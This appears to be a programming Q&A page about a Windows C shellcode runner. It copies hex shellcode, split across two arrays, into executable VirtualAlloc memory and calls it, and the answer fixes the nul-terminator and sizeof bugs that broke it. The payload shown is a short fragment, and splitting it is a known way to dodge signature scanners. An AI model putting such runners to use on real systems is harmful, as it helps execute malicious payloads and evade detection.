Search code examples
cwindowsmemoryshellcode

run shellcode stored in dynamically allowed memory


I have the following wich run a shellcode which works fine:

    unsigned char original[] =
            "\xd9\xee\xd9\x74\x24\xf4\x58\xbb\xa6\xfb\x51\x8f\x33\xc9\xb1"
            "\x62\x83\xe8\xfc\x31\x58\x16\x03\x58\x16\xe2\x53\x07\xb9\x0d"
            "\x9b\xf8\x3a\x72\x12\x1d\x0b\xb2\x40\x55\x3c\x02\x03\x3b\xb1"
            "\xe9\x41\xa8\x42\x9f\x4d\xdf\xe3\x2a\xab\xee\xf4\x07\x8f\x71"      
            ;
    void *exec = VirtualAlloc(0, sizeof original, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, original, sizeof original);
    ((void(*)())exec)();

When I try to run the same shellcode stored in 2 distincts array I got an access violation:

unsigned char part1[] =
        "\xd9\xee\xd9\x74\x24\xf4\x58\xbb\xa6\xfb\x51\x8f\x33\xc9\xb1"
        "\x62\x83\xe8\xfc\x31\x58\x16\x03\x58\x16\xe2\x53\x07\xb9\x0d"
        ;
    unsigned char part2[] = "\x9b\xf8\x3a\x72\x12\x1d\x0b\xb2\x40\x55\x3c\x02\x03\x3b\xb1"
        "\xe9\x41\xa8\x42\x9f\x4d\xdf\xe3\x2a\xab\xee\xf4\x07\x8f\x71";
//build the final shellcode array   
unsigned char * concatenation = (unsigned char*)malloc(sizeof (part1)+sizeof(part2)+1);
    //concatenation
    memcpy(concatenation, part1, sizeof part1);
    memcpy(concatenation + sizeof part1 , part2, sizeof part2);
//allocationg memory and running it
    void *exec = VirtualAlloc(0, sizeof concatenation, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, concatenation, sizeof concatenation);
    ((void(*)())exec)();

I'm trying to make the second example works but I got an access violation error. what am I doing wrong ? Thanks.


UPDATE

this the modified code following alain and Colonel Thirty Two advices, I get now the following error :"test.exe has triggered a breakpoint"

unsigned char part1[] =
            "\xd9\xee\xd9\x74\x24\xf4\x58\xbb\xa6\xfb\x51\x8f\x33\xc9\xb1"
            "\x62\x83\xe8\xfc\x31\x58\x16\x03\x58\x16\xe2\x53\x07\xb9\x0d"
            ;
        unsigned char part2[] = "\x9b\xf8\x3a\x72\x12\x1d\x0b\xb2\x40\x55\x3c\x02\x03\x3b\xb1"
            "\xe9\x41\xa8\x42\x9f\x4d\xdf\xe3\x2a\xab\xee\xf4\x07\x8f\x71";
unsigned char * concatenation = (unsigned char*)malloc(sizeof (part1)+sizeof(part2));

    memcpy(concatenation, part1-1, sizeof part1);
    memcpy(concatenation + sizeof part1 , part2, sizeof part2);
    printf("%d", sizeof(original));
    void *exec = VirtualAlloc(0, sizeof (*concatenation), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, concatenation, sizeof(*concatenation));
    ((void(*)())exec)();

Working code:

unsigned char * concatenation = (unsigned char*)malloc(sizeof (part1)+sizeof(part2));

    memcpy(concatenation, part1, sizeof part1);
    memcpy(concatenation + sizeof part1-1, part2, sizeof part2);

    void *exec = VirtualAlloc(0, sizeof(part1) + sizeof(part2), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, concatenation, sizeof(part1)+sizeof(part2));
    ((void(*)())exec)();

Solution

  • A string literal is nul-terminated, and the terminating nul-byte is counted by sizeof. So you have one nul-byte in the middle of the final array, when using the 2-array version.

    If you change

    memcpy(concatenation + sizeof part1 , part2, sizeof part2);
    

    to

    memcpy(concatenation + sizeof part1 - 1, part2, sizeof part2);
    

    I think it should work.

    There is also an error with sizeof concatenation, as pointed out by Colonel Thirty Two.